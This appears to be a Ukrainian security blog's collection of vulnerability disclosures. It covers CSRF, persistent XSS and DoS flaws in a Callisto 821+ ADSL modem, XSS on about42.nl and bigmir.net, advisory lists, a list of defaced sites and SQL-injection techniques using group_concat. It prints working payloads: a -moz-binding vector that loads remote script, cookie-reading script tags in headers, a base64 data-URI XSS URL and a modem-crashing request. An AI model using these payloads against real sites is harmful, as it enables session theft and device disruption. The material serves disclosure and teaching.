Websecurity - Веб безпека

Продовжуючи тему уразливостей в ADSL модемі Callisto 821+, розповім вам про нові уразливості в даному модемі. У квітні, 07.04.2011, я виявив Cross-Site Request Forgery та Cross-Site Scripting уразливості в ADSL модемі Callisto 821+ (SI2000 Callisto821+ Router).

Уразлива версія SI2000 Callisto821+ Router: X7821 Annex A v1.0.0.0 / Argon 4×1 CSP v1.0 (ISOS 9.0) [4.3.4-5.1]. Дана модель з іншими прошивками також повинна бути вразливою.

Дані атаки потрібно проводити на власника модему, який залогінений в адмінку. Враховуючи, що малоймовірно застати його в такому стані, то можна використати раніше згадані уразливості для проведення віддаленого логіну (щоб залогінити його в адмінку). Після чого можна спокійно провести CSRF або XSS атаку.

CSRF:

Окрім раніше згаданих сторінок 8, 10, 12, 95 і 96 для налаштування портів, в диапазоні 1..196 існує чимало інших розділів (де є форма з параметрами, яка вразлива до CSRF). Дані розділи є прихованими (вони не відображаються в адмінці), але до них можна дістатися вказавши відповідний номер в URL.

Зокрема в розділі Ip App Port Configuration (http://192.168.1.1/configuration/ports.html?194), останньому робочому розділі, через CSRF можлива зміна параметрів IP App порта.

В розділі Advanced Ip App Port Configuration (http://192.168.1.1/configuration/ports_advanced.html?194) через CSRF можлива зміна параметрів IP App порта.

XSS:

Окрім раніше згаданих сторінок 8, 10, 12, 95 і 96 для налаштування портів, в диапазоні 1..196 існує чимало інших розділів (де є форма з параметрами, в якій є persistent XSS уразливості). Дані розділи є прихованими (вони не відображаються в адмінці), але до них можна дістатися вказавши відповідний номер в URL.

Зокрема в розділі Ip App Port Configuration (http://192.168.1.1/configuration/ports.html?194), останньому робочому розділі, у всіх текстових полях та деяких прихованих полях мають місце persistent XSS уразливості.

В розділі Advanced Ip App Port Configuration (http://192.168.1.1/configuration/ports_advanced.html?194) у всіх текстових полях та деяких прихованих полях мають місце persistent XSS уразливості.

Продовжуючи розпочату традицію, після попереднього відео про інфікований goggle.com, пропоную нове відео на веб секюріті тематику. Цього разу відео про DLL Hijacking eксплоіт для Firefox. Рекомендую подивитися всім хто цікавиться цією темою.

Metasploit DLL Hijacking Exploit - Firefox

В даному відео ролику демонструється використання експлоіта (зробленого в Metasploit Framework) для DLL Hijacking уразливості в Firefox 3.6. Причому атака відбувається частково через IE (тому вона можлива лише в системах, де одночасно присутні обидва Firefox та IE). Експлоіт дозволяє проводити віддалене виконання коду в даному браузері.

Атака відбувається при відвідуванні спеціально створеної веб сторінки (що експлуатує дану уразливість). Рекомендую подивитися дане відео для розуміння векторів атак на веб браузери, зокрема на Mozilla Firefox.

17.06.2011

Виявлені численні уразливості безпеки в Adobe Shockwave Player.

Уразливі версії: Adobe Shockwave Player 11.5.

Численні пошкодження пам’яті, переповнення буфера, виконання коду.

• Adobe Shockwave Shockwave 3d Asset.x32 DEMX Chunk Substructure Count Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave xtcL Chunk Parsing Integer Overflow Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave rcsL Chunk 16-bit Field Parsing Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave Font Structure Parsing Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave DEMX Chunk Multiple Field Parsing Remote Code Execution Vulnerability (деталі)
• Security update available for Adobe Shockwave Player (деталі)

23.06.2011

Додаткова інформація.

• Adobe Shockwave Player Remote Code Execution (деталі)
• Adobe Shockwave Cursor Asset tSAC Chunk Integer Overflow Vulnerability (деталі)
• Adobe Shockwave Font Asset Heap Overflow Vulnerabilityr Signedness Vulnerability (деталі)
• Adobe Shockwave Lingo Script Opcodes Integer Signedness Vulnerability (деталі)
• Adobe Shockwave AudioMixer Structure Parsing Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave Missing Lctx Chunk Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave GIF Decompression Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave Shockwave 3d Asset.x32 DEMX Chunk 0xFFFFFF49 Field Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave Shockwave 3d Asset.x32 DEMX 0xFFFFFF45 Field Parsing Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave iml32.dll CSWV Chunk Parsing Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave TextXtra Text Element Parsing Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave tSAC Chunk String Termination Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave rcsL Chunk Parsing Misallocation Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave iml32.dll DEMX Chunk GIF Parsing Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave Lnam Chunk Parsing Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave rcsL Substructure Parsing Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave KEY* Chunk Invalid Size Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave rcsL Trusted Offset Chunk Processing Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave CASt Chunk Parsing Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave Director File rcsL Chunk Multiple Opcode Parsing Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave Cursor Structure Parsing Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave rcsL String Parsing Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave rcsL Parsing Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave dirapi.dll rcsL Chunk Parsing Remote Code Execution Vulnerability (деталі)
• Adobe Shockwave 3D Asset DEMX Integer Overflow Vulnerability (деталі)

В даній добірці уразливості в веб додатках:

• HP StorageWorks Storage Mirroring, Remote Execution of Arbitrary Code (деталі)
• SQL Injection in HTML-EDIT CMS (деталі)
• Path disclosure in Habari (деталі)
• Multiple XSS Vulnerabilities in Openfire 3.6.4 Administrative Section (деталі)
• XSS vulnerability in Habari (деталі)
• Multiple CSRF Vulnerabilities in Openfire 3.6.4 Administrative Section (деталі)
• XSS in HTML-EDIT CMS (деталі)
• LinkSys BEFSR41 Multiple Stored Xss (деталі)
• Path disclosure in HTML-EDIT CMS (деталі)
• XSS vulnerability in ImpressCMS (деталі)

У червні, 25.06.2010, а також додатково 17.06.2011, я знайшов Brute Force та Cross-Site Scripting уразливості на проекті http://about42.nl. Про що найближчим часом сповіщу адміністрацію проекту.

Раніше я вже писав про уразливості на about42.nl.

Brute Force:

http://about42.nl/www/showinfo.php

XSS:

POST запит на сторінці http://about42.nl/www/showinfo.php

" style="-moz-binding:url('http://websecurity.com.ua/webtools/xss.xml#xss')

В полі UserID.

GET/POST запит на сторінці http://about42.nl/www/showheaders.php
<script>alert(document.cookie)</script>В HTTP заголовках: User-Agent, Accept, Accept-Language, Accept-Encoding, Accept-Charset, Referer, а також майже в будь-яких довільних заголовках.

Дані XSS атаки через заголовки можна провести через флеш, про що я писав в статті Відправка серверних заголовків в Flash. Але враховуючи те, що на сайті немає crossdomain.xml, то атака не спрацює в нових версіях флеш-плагіна (тільки в старих версіях), про що я писав у даній статті.

Тому потрібно буде скористатися іншими методами, зокрема для заголовка User-Agent, про що я розповідав в статті XSS атаки через заголовок User-Agent. Деякі з зазначених методів підійдуть і для інших заголовків.

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://julietta.com.ua (хакером c1nexe)
• http://www.blinoff.ua (хакерами з RKH) - 08.06.2011, зараз сайт вже виправлений адмінами
• http://www.gagri.com.ua (хакерами з RKH) - 08.06.2011, зараз сайт вже виправлений адмінами
• http://www.nhl.kiev.ua (хакерами з RKH) - 08.06.2011, зараз сайт не працює
• http://www.diagnostika.net.ua (хакером MaMaLi MeSsenGer)

Виявлені численні уразливості безпеки в Microsoft .Net Framework та Silverlight.

Уразливі продукти: Microsoft .Net Framework та Silverlight на Windows XP, Windows 2003 Server, Windows Vista, Windows 2008 Server, Windows 7.

Переповнення індексу масиву, виконання коду через компілятор JIT.

• Microsoft Security Bulletin MS11-039 - Critical Vulnerability in .NET Framework and Microsoft Silverlight Could Allow Remote Code Execution (2514842) (деталі)
• Microsoft Security Bulletin MS11-044 - Critical Vulnerability in .NET Framework Could Allow Remote Code Execution (2538814) (деталі)

13.10.2010

У червні, 27.06.2010, я знайшов нову Cross-Site Scripting уразливість на сайті http://bigmir.net, обійшови їхній WAF (що я вже робив багато разів). Про що найближчим часом сповіщу адміністрацію сайта.

Раніше я вже писав про уразливості на dnevnik.bigmir.net.

Детальна інформація про уразливість з’явиться пізніше.

22.06.2011

XSS:

http://passport.bigmir.net/logout?url=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==

Дана уразливість вже виправлена. І як і в більшості випадків з Бігміром, зробили вони це втихаря (після мого повідомлення), не подякувавши мені. А варто не забувати дякувати людям. При цьому виправлений лише даний вектор атаки, але можливі інші вектори (при цьому потрібно буде обійти їхній WAF).

Зазначу, що в даному функціоналі є також Redirector уразливість, про яку я писав в 2008 році, і яка досі не виправлена.

Продовжуючи тему уразливостей в ADSL модемі Callisto 821+, розповім вам про нові уразливості в даному модемі. У квітні, 07.04.2011, я виявив Denial of Service, Cross-Site Request Forgery та Cross-Site Scripting уразливості в ADSL модемі Callisto 821+ (SI2000 Callisto821+ Router).

Уразлива версія SI2000 Callisto821+ Router: X7821 Annex A v1.0.0.0 / Argon 4×1 CSP v1.0 (ISOS 9.0) [4.3.4-5.1]. Дана модель з іншими прошивками також повинна бути вразливою.

Дані атаки потрібно проводити на власника модему, який залогінений в адмінку. Враховуючи, що малоймовірно застати його в такому стані, то можна використати раніше згадані уразливості для проведення віддаленого логіну (щоб залогінити його в адмінку). Після чого можна спокійно провести DoS, CSRF або XSS атаку.

DoS:

http://192.168.1.1/configuration/ports.html?120

При даному запиті відбувається рестарт модема.

CSRF:

Дані розділи є прихованими (вони не відображаються в адмінці), але до них можна дістатися вказавши відповідний номер в URL.

В розділі RIP Port Configuration (http://192.168.1.1/configuration/ports.html?10) через CSRF можлива зміна параметрів RIP порта.

В розділі Advanced RIP Port Configuration (http://192.168.1.1/configuration/ports_advanced.html?10) через CSRF можлива зміна параметрів RIP порта.

В розділі Bridge Port Configuration (http://192.168.1.1/configuration/ports.html?12) через CSRF можлива зміна параметрів Bridge порта.

В розділі Advanced Bridge Port Configuration (http://192.168.1.1/configuration/ports_advanced.html?12) через CSRF можлива зміна параметрів Bridge порта.

XSS:

Дані розділи є прихованими (вони не відображаються в адмінці), але до них можна дістатися вказавши відповідний номер в URL.

В розділі RIP Port Configuration (http://192.168.1.1/configuration/ports.html?10) у всіх текстових полях та деяких прихованих полях мають місце persistent XSS уразливості.

В розділі Advanced RIP Port Configuration (http://192.168.1.1/configuration/ports_advanced.html?10) у всіх текстових полях та деяких прихованих полях мають місце persistent XSS уразливості.

В розділі Bridge Port Configuration (http://192.168.1.1/configuration/ports.html?12) в деяких текстових полях та деяких прихованих полях мають місце persistent XSS уразливості.

В розділі Advanced Bridge Port Configuration (http://192.168.1.1/configuration/ports_advanced.html?12) в деяких текстових полях та деяких прихованих полях мають місце persistent XSS уразливості.

В даній серії статей про просунуті методи SQL Injection атак я розповім вам про різні цікави методи, що дозволять пришвидшити процес проведення SQL ін’єкцій та збільшити їх ефективність.

Зараз розповім вам про групування при SQL Injection. Групування - це відома процедура, що використовується при SQL запитах у веб додатках (а також при атаках на SQL Injection уразливості) для об’єднати в одному полі результуючих даних декілька полів.

Зокрема в MySQL групування відбувається за допомогою використання функцій concat та concat_ws. Це буває корисним при SQL ін’єкції, коли потрібно (для зручності чи при обмеженнях) вивести значення кількох полів в одному.

Окрім групування полів (щоб в одному полі одного запису виводилися значення декількох полів), є ще можливість групувати записи. Це робиться за допомогою функції group_concat.

Її синтаксис наступний: group_concat(table_name) або group_concat(table_name separator 0×3a). Детально про синтаксис ви можете дізнатися в документації MySQL.

Функція group_concat була додана в MySQL 4.1. Тому в більш старих версіях нею не вийде скористатися, але в версіях починаючи з 4.1 вона стане в нагоді.

Про дану функцію я дізнався торік (в 2010 році я виявив кілька нових цікавих методів, про які розповім в своїх статтях). За допомогою даного методу можна виводити в одному полі одного запису будь-яку кількість записів (в одне поле). Щоб не виводити їх по одному, а одразу декілька (або усі). А якщо скомбінувати перший і другий метод, то можна виводити будь-яку кількість полів будь-якої кількості записів в одному полі.